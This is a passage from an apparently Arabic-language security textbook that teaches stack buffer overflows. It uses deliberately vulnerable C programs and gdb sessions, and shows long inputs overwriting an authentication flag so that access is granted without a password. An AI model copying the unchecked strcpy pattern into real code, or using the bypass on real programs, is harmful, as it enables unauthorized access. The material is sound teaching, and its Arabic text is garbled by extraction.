    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [244] ‫بتخصيص‬ ‫ربجمني‬ُ‫مل‬‫ا‬ ‫أحد‬ ‫قام‬ ‫لذا‬ ً‫ال‬‫قمث‬ buffer ‫نا‬‫م‬ ‫ل‬‫ستقب‬َ‫ي‬‫ل‬ inputs ، ‫ال‬ ‫ذذا‬ ‫وكان‬ buffer ‫ي‬ ‫س‬ ‫ب‬‫توع‬ 6 bytes ، ُ‫ق‬‫ق‬ ‫منا‬ ‫بإدطال‬ ُ‫نحن‬ 8 bytes ‫ث‬ُ‫حيد‬ ‫قسوف‬ ،!‫ذلك‬ ‫من‬ ً‫ال‬‫بد‬ Overflow ‫ال‬ ‫هلذا‬ buffer . ‫بال‬ ‫اإلجراء‬ ‫ذذا‬ ‫سمى‬ُ‫ي‬ Buffer Overrun ‫أو‬ Buffer Overflow ، ‫ال‬ ‫ألن‬ 2 bytes ‫املساح‬ ‫عن‬ ‫الزائدين‬ ‫ة‬ َ ‫صص‬َ‫خ‬ُ‫مل‬‫ا‬ ‫ة‬ ‫األزم‬ ‫ذذه‬ ‫يف‬ ‫سيتسببان‬ ‫ة‬ ‫ال‬ .. “Overflow” .‫ث‬‫احلاد‬ ‫من‬ ‫حالة‬ ‫يوضح‬ ‫مثال‬ ‫ذذا‬ ‫ال‬ ‫حاالت‬ BOF . ‫اكتشاقها‬ ‫تم‬ ‫طاصية‬ ‫تفعيل‬ ‫أثناء‬ ‫التصحيح‬ ‫يف‬ ‫اإلمالئي‬ ‫برنامج‬ ‫ال‬ Word . “Buffer Overrun Detected error after you installs Office 2003 Service Pack 3 for Hebrew” The Hebrew version of Microsoft Office Word 2003 Service Pack 3 may stop responding when you run a spelling and grammar check or when you use a custom dictionary that was created before Service Pack 3. You may receive the following error message: Microsoft Visual C ++ Runtime library buffer overrun detected! Program: C:Program FilesMicrosoft OfficeOffice11Winword.exe, A buffer overrun has been detected which has corrupted the program's internal state. The program cannot safely continue execution and must now be terminated. ‫س‬ ‫بس‬ ‫مثال‬ ‫نأطذ‬ ‫الثغرة‬ ‫ذذه‬ ‫ث‬ُ‫د‬ َ ‫حت‬ ‫كيف‬ ‫لنفهم‬ ‫يط‬ .
  • 245.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [245] ‫تأمل‬ ‫عي‬َ‫م‬ ‫ذ‬ :‫الكود‬ ‫ذا‬ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { int value = 5; char buffer_one[8], buffer_two[8]; strcpy(buffer_one, "one"); /* Put "one" into buffer_one. */ strcpy(buffer_two, "two"); /* Put "two" into buffer_two. */ printf("[BEFORE] buffer_two is at %p and contains '%s'n", buffer_two, buffer_two); printf("[BEFORE] buffer_one is at %p and contains '%s'n", buffer_one, buffer_one); printf("[BEFORE] value is at %p and is %d (0x%08x)n", &value, value, value); printf("n[STRCPY] copying %d bytes into buffer_twonn", strlen(argv[1])); strcpy(buffer_two, argv[1]); /* Copy first argument into buffer_two. */ printf("[AFTER] buffer_two is at %p and contains '%s'n", buffer_two, buffer_two); printf("[AFTER] buffer_one is at %p and contains '%s'n", buffer_one, buffer_one); printf("[AFTER] value is at %p and is %d (0x%08x)n", &value, value, value); } :‫الكود‬ ‫ذذا‬ ‫يف‬ ‫استقبال‬ ‫دد‬ َ ‫ص‬‫ب‬ ُ‫َحن‬‫ن‬ input ُ‫مل‬‫ا‬ ‫ن‬‫م‬ ‫ال‬ ‫وذو‬ ‫م‬‫َخد‬‫ت‬‫س‬ argv[1] ‫ال‬ ‫يف‬ ‫وضعه‬‫ب‬ ‫َقوم‬‫ن‬‫ل‬ buffer_two .
  • 246.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [246] ‫بإداطل‬ ‫سنقوم‬ Input ً‫ال‬‫مث‬ ..‫عشوائية‬ “1234567890” ‫ل‬ّ‫د‬َ‫ع‬ُ‫م‬‫ب‬ 10 bytes ، ‫أهنا‬ ‫الحظ‬ char array ‫ستتعامل‬ ‫أهنا‬ ‫أي‬ ‫ال‬ ‫مع‬ ‫وكأنه‬ ‫رقم‬ char ‫قسيشغل‬ 1 byte ‫ققط‬ . :‫النتائج‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫ذيا‬ reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c reader@hacking:~/booksrc $ ./overflow_example 1234567890 [BEFORE] buffer_two is at 0xbffff7f0 and contains 'two' [BEFORE] buffer_one is at 0xbffff7f8 and contains 'one' [BEFORE] value is at 0xbffff804 and is 5 (0x00000005) [STRCPY] copying 10 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7f0 and contains '1234567890' [AFTER] buffer_one is at 0xbffff7f8 and contains '90' [AFTER] value is at 0xbffff804 and is 5 (0x00000005) reader@hacking:~/booksrc $ ‫السط‬ ‫يف‬ ‫ُالحظ‬‫ن‬ ‫ال‬ ‫ر‬ bold ‫حدوث‬ ‫تم‬ ‫أنه‬ Overflow ‫وضع‬ ‫اولة‬ ُ ‫حم‬ ‫بسبب‬ ،‫بالفعل‬ 10 bytes ‫ص‬ ّ ‫ص‬ ُ ‫ُم‬ ‫تغري‬ُ‫م‬ ‫داطل‬ ‫ب‬‫يستوع‬‫ل‬ 8 bytes .‫ققط‬ ‫ال‬ ‫ذذه‬ ‫قامت‬ ‫وبالتايل‬ 2 bytes ‫الزائد‬ ‫ة‬ ‫بعمل‬ overflow ‫تغري‬ُ‫للم‬ buffer_one ‫ال‬ ‫ألن‬ ‫وذذا‬ ..‫لنا‬ َ‫ر‬َ‫ه‬َ‫ظ‬ ‫كام‬ buffer ‫ال‬ ‫زائد‬ ‫ة‬ ‫املألوف‬ ‫عن‬ ‫ب‬ِّ‫ب‬‫ُس‬‫ت‬ overflow ‫تغ‬ُ‫للم‬ ‫األطرى‬ ‫ريات‬ ‫القريب‬ ‫ة‬ ‫منها‬ ‫ال‬ ‫داطل‬ memory . ‫لدطال‬ ‫ب‬ ِّ‫ُجر‬‫ن‬‫س‬ input :‫ث‬ُ‫حيد‬ ‫ما‬ ‫ُشاذد‬‫ن‬‫و‬ ً‫ا‬‫نسبي‬ ‫كبرية‬ reader@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAA [BEFORE] buffer_two is at 0xbffff7e0 and contains 'two' [BEFORE] buffer_one is at 0xbffff7e8 and contains 'one' [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005) [STRCPY] copying 29 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' [AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAAAAAAAAAA'
  • 247.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [247] [AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141) Segmentation fault (core dumped) reader@hacking:~/booksrc $ ‫املتغري‬ ‫أن‬ ‫الحظ‬ “int value 5” ‫حدث‬ ً‫ا‬‫أيض‬ ‫له‬ overflow .!‫املرة‬ ‫ذذه‬ ‫ال‬ ‫سنزيد‬ Buffer :‫الكود‬ ‫ذذا‬ ‫لنخترب‬ ‫أكثر‬ reader@hacking:~/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -------[ end of note data ]------- Segmentation fault reader@hacking:~/booksrc $ ‫دوث‬ ُ‫ح‬ ‫يف‬ َ ‫َسبب‬‫ت‬ ‫قد‬ ُ‫ه‬‫أن‬ ‫ظ‬‫ُالح‬‫ن‬ crash .‫للربنامج‬ The Stack ..‫نبدأ‬ ‫أن‬ ‫قبل‬ ‫س‬ ‫عض‬َ‫ب‬‫ب‬ ‫ك‬ ُ‫ِّر‬‫ك‬َ‫ذ‬ُ‫أ‬ ً‫ا‬‫سابق‬ ‫ناقشناذا‬ ‫التي‬ ‫املعلومات‬ ‫ماييل‬ ، ‫كتاب‬ ‫من‬ ‫األسطر‬ ‫بعض‬ “the shellcoder’s handbook” : "When a program is executed, it is laid out in an organized manner—various elements of the program are mapped into memory. First, the operating system creates an address space in which the program will run. This address space includes the actual program instructions as well as any required data. Next, information is loaded from the program’s executable file to the newly created address space. There are three types of segments: .text, .bss, and .data. The .text segment is mapped as read-only, whereas .data and .bss are writable. The .bss and .data segments are
  • 248.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [248] reserved for global variables. The .data segment contains static initialized data, and the .bss segment contains uninitialized data. The final segment, .text, holds the program instructions. Finally, the stack and the heap are initialized". ↑ Lower addresses (0x08000000) Shared libraries .text .bss Heap (grows ↓) Stack (grows ↑) env pointer Argc ↓ Higher addresses (0xbfffffff) ‫ال‬ ‫مع‬ ‫نتعامل‬ ‫ُنا‬‫ك‬ ‫متى‬ ‫تتذكر‬ ‫ذل‬ Stack .. ‫؟‬ ‫معها‬ ‫تعاملنا‬ ‫ندما‬‫ع‬ ‫ا‬ ‫حت‬ ‫جنا‬ ‫لجراء‬ Function Call . ‫س‬ ‫ذ‬ ُ ‫نأط‬ ‫ُزذ‬‫ن‬ ‫ة‬ ‫طفيف‬ ‫ة‬ ‫ال‬ ‫ل‬‫داط‬ Stack ‫و‬ ‫عملية‬ ‫ال‬ Function Call .!‫ذذه‬ Let’s think about what happens in a function call:  When a function call is executed, the arguments need to be evaluated to values.  Then, control flow jumps to the body of the function, and code begins executing there.  Once a return statement has been encountered, we're done with the function, and return back to the function call. ‫لية‬َ‫م‬َ‫ع‬ ‫ُل‬‫ك‬‫ل‬ “function call” ، ‫ال‬ ‫يف‬ ‫ن‬ّ‫َكو‬‫ت‬َ‫ي‬ Stack ‫ال‬ ‫ه‬‫ذ‬‫هل‬ ‫ص‬ ّ ‫ص‬ ُ‫ُم‬ ‫زء‬ ُ‫ج‬ function ‫عليه‬ ‫ُطلق‬‫ن‬ . “Stack Frame” . ‫بال‬ ‫يبدأ‬ ‫صغري‬ ‫برنامج‬ ‫داطل‬ ‫أننا‬ ً‫ا‬‫مع‬ ‫لنتخيل‬ main( ) ، ‫ال‬ ‫تكون‬ ُ ‫يث‬ َ‫ح‬ Stack ‫اهليئة‬ ‫ذذه‬ ‫عىل‬ ‫حينها‬ ، ‫يف‬ ‫يبدو‬ ‫كام‬ ،‫التالية‬ ‫الصفحة‬ ‫يف‬ ‫رقم‬ ‫الشكل‬ ( 1 ) :
  • 249.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [249] ‫ترى‬ ‫كام‬ ‫ال‬ ‫يظهر‬ stack frame ‫بال‬ ‫اخلاص‬ main( ) ، ‫ال‬ ‫شري‬ُ‫ي‬‫و‬ Stack Pointer (SP) ‫ال‬ ‫بداية‬ ‫لىل‬ Function ‫ال‬ ‫ذذا‬ ‫يظهر‬ . Frame ‫ال‬ ‫تبدأ‬ ‫عندما‬ main( ) .‫عملها‬ ‫وجود‬ ‫لنتخيل‬ function ‫أطرى‬ ‫هلا‬ ‫حيدث‬ call ‫من‬ ‫ال‬ ‫داطل‬ main( ) ، ‫اسمها‬ foo( ) . ‫ال‬ ‫ذذه‬ foo( ) ً‫ال‬‫مث‬ ‫تأطذ‬ Two Arguments ، ‫ال‬ ‫ذذه‬ Arguments ‫حاج‬‫ب‬ ‫َكون‬‫ن‬ َ ‫س‬ ‫ة‬ ‫ال‬ ‫يف‬ ‫هم‬‫ضع‬َ‫و‬‫ل‬ Stack . ‫س‬ ‫تقوم‬ foo( ) ‫عملي‬ ‫بإجراء‬ ‫ذذه‬ ‫ة‬ ‫حسابي‬ ‫ة‬ ‫ال‬ ‫وذو‬ ‫النانج‬ ‫ولرجاع‬ return value ‫ال‬ ‫لىل‬ main( ) ‫اعتدنا‬ ‫كام‬ .‫قبل‬ ‫من‬ ‫ال‬ ‫شكل‬ ‫يكون‬ stack ‫كام‬ ‫يظهر‬ ‫رقم‬ ‫الشكل‬ ‫يف‬ ( 2 ) : ‫ل‬َ‫م‬َ‫ع‬ ‫تم‬ Push ‫لل‬ Arguments ‫بال‬ ‫اخلاصة‬ foo( ) ‫ال‬ ‫لىل‬ Stack ، ‫ال‬ ‫انتقل‬ ‫ثم‬ Stack Pointer ُ ‫حيث‬ ‫لىل‬ ‫شري‬ُ‫ي‬‫ل‬ ‫ال‬ Return value ‫ال‬ ‫ذذا‬ .. Return value ‫سابه‬‫ح‬ ‫سيتم‬ ‫بواسطة‬ foo( ) . ‫ال‬ ‫ذذه‬ ‫ملئ‬ ‫سيتم‬ ‫وبالتايل‬ space ‫بع‬ ‫أن‬ ‫د‬ ‫تنتهي‬ foo( ) ‫عملها‬ ‫ن‬‫م‬ . ‫ال‬ ‫وضع‬ ‫بعد‬ Arguments ، ‫بام‬ُ‫ر‬ ‫مت‬ ‫تلك‬ ‫ال‬ ‫ذذه‬ function ‫ال‬ ‫من‬ ‫عدد‬ local variables .. ‫تحتاج‬ َ ‫س‬ foo( ) َ‫ع‬‫ل‬ ‫ل‬َ‫م‬ push ‫ال‬ ‫عىل‬ ‫ما‬ ٍ‫ساحة‬‫مل‬ Stack ‫كي‬ ‫مها‬‫تستخد‬ ‫ل‬ ‫ع‬‫ض‬َ‫و‬ ‫ذذه‬ ‫ال‬ " Local Variables " ‫ولجراء‬ ‫عملياهتا‬ . Figure 1 Figure 2
  • 250.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [250] ‫التايل‬ ‫الشكل‬ ، ‫رقم‬ ( 3 ) ‫ست‬ ‫ما‬ ‫يوضح‬ ‫ال‬ ‫عليه‬ ‫بدو‬ Stack :‫التعديالت‬ ‫ذذه‬ ‫بعد‬ Figure 3 ‫ال‬ ‫تكوين‬ ‫تم‬ ‫د‬َ‫ق‬َ‫ل‬ Frame ‫بال‬ ‫اخلاص‬ foo( ) ‫ال‬ ‫وانتقل‬ Stack Pointer ‫داطل‬ ‫ال‬ foo( ) . ‫ال‬ ‫ينتقل‬ ‫ملاذا‬ SP ‫لليها؟‬ ‫أل‬ ‫ال‬ ‫عملية‬ ‫ن‬ allocation ‫ب‬ ‫اخلاصة‬ ‫للمساحة‬ foo( ) ‫بعمل‬ ‫ستتم‬ decrement ‫لل‬ ESP ‫ال‬ ‫ينتقل‬ ‫وبالتايل‬ ، SP ‫هلذه‬ ‫اجلديد‬ ‫املساحة‬ ‫ة‬ . ‫ال‬ ‫ذذا‬ ‫ما‬ ‫ولكن‬ FP ‫ظهرلنا؟‬ ‫الذي‬ .. ‫ال‬ ‫لنه‬ “Frame Pointer” .
  • 251.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [251] ‫لىل‬ ‫شري‬ُ‫ي‬ ‫اليشء‬ ‫ذذا‬ ‫ال‬ Address ‫ال‬ ‫عليه‬ ‫ف‬‫ق‬َ‫ي‬ َ‫كان‬ ‫الذي‬ Stack Pointer َ‫م‬‫تقو‬ ‫أن‬ ‫قبل‬ foo( ) ‫ال‬ ُ ‫حيث‬ ‫لىل‬ ‫تحريكه‬‫ب‬ Local Variables .‫ِبا‬ ‫اخلاصة‬ Points to the location where the stack pointer was, just before foo( ) moved the stack pointer for foo( )'s own local variables. ‫ع؟‬‫املوض‬ ‫ذلك‬ ‫لىل‬ ‫شري‬ُ‫ي‬ ‫وملاذا‬ ‫ال‬ ‫يتمكن‬ ‫كي‬ Stack Pointer ‫بالعودة‬ ‫لليه‬ ‫تنتهي‬ ‫أن‬ ‫بعد‬ ‫أطرى‬ ً‫ة‬‫مر‬ foo( ) ‫عملها‬ ‫من‬ . ‫؟‬ً‫ا‬‫لذ‬ ‫يعود‬ ‫كيف‬ ‫بتنفيذ‬ instruction :‫ِبذه‬ ‫أشبه‬ move [%EBP, %ESP] ‫ال‬ ‫قينتقل‬ SP ‫ال‬ ‫لىل‬ FP ‫حدوث‬ ‫ذلك‬ ‫ويسبب‬ reduce ‫لل‬ stack . ‫الشكل‬ ‫يف‬ ‫موضح‬ ‫ذو‬ ‫كام‬ ‫رقم‬ ( 4 ( Figure 4
  • 252.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [252] ‫لك‬ ‫سأوضح‬ ‫ال‬ ‫عملية‬ function call ‫عميل‬ ‫بمثال‬ .. ‫بالرتتيب‬ ‫اخلطوات‬ ‫ماييل‬ : 1. Push the parameters in the reverse order (right to left). 2. "Call" function now. It implicitly pushes the return address into STACK. [[ call func ]] ‫(انتبه‬ ! .. ‫ال‬ َ‫بني‬ ‫ط‬‫ل‬ َ ‫خت‬ ‫ال‬ return address ‫وال‬ return value ) ------ Now enters the called procedure ------ 3. Push the current EBP ie. Frame Pointer (FP) of calling function into stack. We need to do this to continue with the execution of calling function after return from the called function. [[ pushl %ebp ]] 4. Copy the ESP to EBP. (yes, this location will be new FRAME POINTER) [[ movl %esp, %ebp ]] 5. Allocate space on stack for local variables. It's done by decrementing ESP. [[ subl $4, %esp ]] ------ Do some processing ------ 6. Put the value to be returned in EAX. ----- Start unwinding STACK ------ 7. Copy current EBP to ESP, it will reduce stack's size. Now we have old FP at the top of the stack. [[ movl %ebp, %esp]] 8. Pop a 32 bit value (which is old frame pointer) and stuff it into EBP. (undoing Step 3) [[ popl %ebp ]] 9. The "ret" instruction pops a 32 bit value from the stack and stuffs into the program counter. [[ ret ]] ** Steps 7 and 8 are combined in single instruction "leave".
  • 253.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [253] ‫بال‬ ‫اخلطوات‬ ‫ذذه‬ ‫لنشاذد‬ ‫واآلن‬ Assembly code : func1: pushl %ebp <-- Step 3, Push EBP movl %esp, %ebp <-- Step 4, Copy ESP -> EBP subl $4, %esp <-- Step 5, Create space on stack for t movl $8, -4(%ebp) <-- Initialize "t" to 8 movl -4(%ebp), %eax <-- Step 6, Copy "t" to EAX addl 8(%ebp), %eax <-- Step 6, Add "c" to EAX leave <-- Step 7 and 8: 7: Restore ESP (EBP -> ESP) 8: Restore EBP (Pop STACK -> EBP) ret <-- Step 9, (Pop STACK -> Program Counter) main: ......... pushl a <-- Step 1, push parameters call func1 <-- Step 2, call func1 addl $16, %esp movl %eax, -4(%ebp) movl -4(%ebp), %eax movl %eax, c ......... ‫مقتبس‬ ‫املثال‬ ‫موقع‬ ‫من‬ articles.manugarg.com Stack Overflow ‫ال‬ ‫به‬ ‫ُوضح‬‫ن‬‫ل‬ ‫ثال‬‫م‬ ‫ذ‬ ُ ‫سنأط‬ Stack Overflow . ‫عن‬ ‫عبارة‬ ‫كود‬ ‫ييل‬ ‫ما‬ Function ‫ال‬ ‫ن‬‫م‬ ‫استدعاؤذا‬ ‫م‬‫ت‬َ‫ي‬ main( ) ‫ال‬ ‫ل‬َ‫م‬َ‫ع‬َ‫ب‬ ‫تقوم‬‫ل‬ user authentication ‫طريق‬ ‫عن‬ ٍ‫بقيمة‬ ‫ها‬‫َت‬‫ن‬‫قار‬ُ‫بم‬ َ‫ي‬‫ذ‬ ‫تقوم‬‫ل‬ ،‫رور‬ُ‫مل‬‫ا‬ ‫ة‬َ‫م‬‫َل‬‫ك‬‫ل‬ ‫تابتك‬‫ك‬ .‫النتائج‬ ‫ض‬‫ر‬َ‫ع‬ ‫م‬ُ‫ث‬ ،‫ما‬
  • 254.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [254] #include <stdio.h> #include <stdlib.h> #include <string.h> int check_authentication(char *password) { int auth_flag = 0; char password_buffer[16]; strcpy(password_buffer, password); if(strcmp(password_buffer, "brillig") == 0) auth_flag = 1; if(strcmp(password_buffer, "outgrabe") == 0) auth_flag = 1; return auth_flag; } int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s <password>n", argv[0]); exit(0); } if(check_authentication(argv[1])) { printf("n-=-=-=-=-=-=-=-=-=-=-=-=-=-n"); printf(" Access Granted.n"); printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-n"); } else { printf("nAccess Denied.n"); } } ‫املثال‬ ‫يف‬ ‫ر‬َ‫ظه‬َ‫ي‬ check_ authentication( ) ‫باستقبال‬ ‫ستقوم‬ argv[1] ‫ال‬ ‫من‬ user ،‫رور‬ُ‫مل‬‫ا‬ ‫َلمة‬‫ك‬ ‫وذي‬
  • 255.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [255] ‫ال‬ ‫يف‬ ‫بوضعها‬ ‫لتقوم‬ password_buffer ‫بالقيمة‬ ‫ها‬‫قارنت‬ُ‫م‬ ‫م‬ُ‫ث‬ “brilling” ‫أو‬ “outgrabe” ‫بارة‬‫ع‬ ‫ة‬َ‫باع‬‫ط‬ ‫م‬‫ت‬َ‫ي‬‫ل‬ “Access Granted” . :‫الكود‬ ‫ذذا‬ ‫ُجرب‬‫ن‬‫ل‬ ‫ذيا‬.. reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c reader@hacking:~/booksrc $ ./auth_overflow Usage: ./auth_overflow <password> reader@hacking:~/booksrc $ ./auth_overflow test Access Denied. reader@hacking:~/booksrc $ ./auth_overflow brillig -=-=-=-=-=-=-=-=-=-=-=-=-=- Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=- reader@hacking:~/booksrc $ ./auth_overflow outgrabe -=-=-=-=-=-=-=-=-=-=-=-=-=- Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=- reader@hacking:~/booksrc $ ‫رور‬ُ‫م‬ ‫ة‬َ‫م‬‫َل‬‫ك‬ ‫لدطالنا‬ ‫ند‬‫ع‬ ‫ظ‬‫ُالح‬‫ت‬ ‫َام‬‫ك‬ test ‫سالة‬‫ر‬ ‫لنا‬ ‫ت‬ َ‫ر‬َ‫ه‬َ‫ظ‬ Access Denied .! ‫اول‬ ُ ‫حم‬ َ‫ند‬‫ع‬ ‫ولكن‬ ‫لدطال‬ ‫ة‬ input ‫ال‬ ‫عىل‬ ‫صول‬ُ‫حل‬‫ا‬ ‫يف‬ ‫ب‬ّ‫ب‬‫تس‬َ‫ي‬ ‫ا‬‫ُم‬ ‫الربنامج‬ ‫ري‬ َ ‫س‬ ‫يف‬ ‫لل‬َ‫خل‬‫ا‬ ‫دوث‬ ُ‫ح‬ ‫ُالحظ‬‫ن‬ َ ‫س‬ ‫الالزم‬ َ‫ن‬‫م‬ ‫أكرب‬ Access .!‫املرور‬ ‫ة‬َ‫م‬‫َل‬‫ك‬ ‫تابة‬‫ك‬‫ل‬ ‫احلاجة‬ ‫بدون‬ reader@hacking:~/booksrc $ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -=-=-=-=-=-=-=-=-=-=-=-=-=- Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=- reader@hacking:~/booksrc $ ‫ال‬ ‫بدون‬ ‫الدطول‬ ‫من‬ ‫ا‬‫متكن‬ ‫لقد‬ Password .!
  • 256.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [256] ‫ال‬ ‫باستخدام‬ ‫الربنامج‬ ‫تشغيل‬‫ب‬ ‫نقوم‬ َ ‫س‬ ..‫تفصييل‬ ‫شكل‬‫ب‬ ‫حدث‬ ‫ما‬ ‫ُشاذد‬‫ن‬ َ ‫َعال‬‫ت‬ Debugger ، ‫بوضع‬ ‫ونقوم‬ Breakpoint ‫ال‬ ‫َسخ‬‫ن‬ ‫ملية‬َ‫ع‬ ‫ند‬‫ع‬ buffer ، ‫ال‬ ‫ند‬‫ع‬ ‫وآطر‬ return value ‫بال‬ ‫اخلاص‬ check_authenticaion( ) . reader@hacking:~/booksrc $ gdb -q ./auth_overflow Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) list 1 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 int check_authentication(char *password) { 6 int auth_flag = 0; 7 char password_buffer[16]; 8 9 strcpy(password_buffer, password); 10 (gdb) 11 if(strcmp(password_buffer, "brillig") == 0) 12 auth_flag = 1; 13 if(strcmp(password_buffer, "outgrabe") == 0) 14 auth_flag = 1; 15 16 return auth_flag; 17 } 18 19 int main(int argc, char *argv[]) { 20 if(argc < 2) { (gdb) break 9 Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9. (gdb) break 16 Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16. (gdb) (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/reader/booksrc/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  • 257.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [257] Breakpoint 1, check_authentication (password=0xbffff9af 'A' <repeats 30 times>) at auth_overflow.c:9 9 strcpy(password_buffer, password); (gdb) x/s password_buffer 0xbffff7a0: ")????o??????)205004b?o??p???????" (gdb) x/x &auth_flag 0xbffff7bc: 0x00000000 (gdb) print 0xbffff7bc - 0xbffff7a0 $1 = 28 (gdb) x/16xw password_buffer 0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529 0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8 0x00000000 0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb 0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc (gdb) (gdb) continue Continuing. Breakpoint 2, check_authentication (password=0xbffff9af 'A' <repeats 30 times>) at auth_overflow.c:16 16 return auth_flag; (gdb) x/s password_buffer 0xbffff7a0: 'A' <repeats 30 times> (gdb) x/x &auth_flag 0xbffff7bc: 0x00004141 (gdb) x/16xw password_buffer 0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141 0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb 0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc (gdb) x/4cb &auth_flag 0xbffff7bc: 65 'A' 65 'A' 0 '0' 0 '0' (gdb) x/dw &auth_flag 0xbffff7bc: 16705 (gdb)
  • 258.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [258] (gdb) continue Continuing. -=-=-=-=-=-=-=-=-=-=-=-=-=- Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=- Program exited with code 034. (gdb) ‫بتحديد‬ ‫منا‬ُ‫ق‬ ‫أننا‬ ‫بالنتائج‬ ‫ر‬َ‫ه‬‫ظ‬َ‫ي‬ breakpoint ‫األوىل‬ ‫الس‬ ‫ذذا‬ ‫عند‬ :‫طر‬ 9 strcpy(password_buffer, password); ‫ال‬ ‫نا‬َ‫ل‬ ‫ر‬‫ظه‬ُ‫ي‬‫و‬ ‫حينها‬ ‫الربنامج‬ ‫يتوقف‬ ُ ‫حيث‬ gdb ‫ال‬ ‫حالة‬ Memory . ‫ال‬ ‫أن‬ ‫ُالحظ‬‫ن‬‫س‬ password_buffer ‫ال‬ ‫ذذا‬ ‫يف‬ ‫د‬ َ‫تواج‬َ‫ي‬ address : 0xbffff7a0 ‫ال‬ ‫وأن‬ " Auth_flag variable " ‫ال‬ ‫ذذا‬ ‫يف‬ ‫ع‬َ‫ق‬َ‫ي‬ address : 0xbffff7bc ( ‫القيمة‬ ‫ل‬‫م‬ َ ‫وحي‬ 0 ) : 0x00000000 ‫ال‬ ‫دد‬َ‫ع‬ ‫حساب‬‫ب‬ ‫منا‬ُ‫ق‬ bytes ‫ال‬ ‫ق‬‫َسب‬‫ت‬ ‫التي‬ Auth_flag ‫أهنا‬ ‫د‬‫َج‬‫ن‬‫ل‬ 28 byets ، :‫ييل‬ ‫كام‬ (gdb) x/16xw password_buffer 0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529 0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8 ‫ُل‬‫ك‬ ‫أن‬ ‫ام‬‫ب‬ address ‫نهم‬‫م‬ ‫عن‬ ‫بارة‬‫ع‬ 4 bytes :‫نقول‬ ‫أن‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬‫ق‬ (4 bytes * 7 = 28 bytes) ‫ال‬ ‫بعدذا‬ ‫يبدأ‬ ‫ثم‬ " Location of 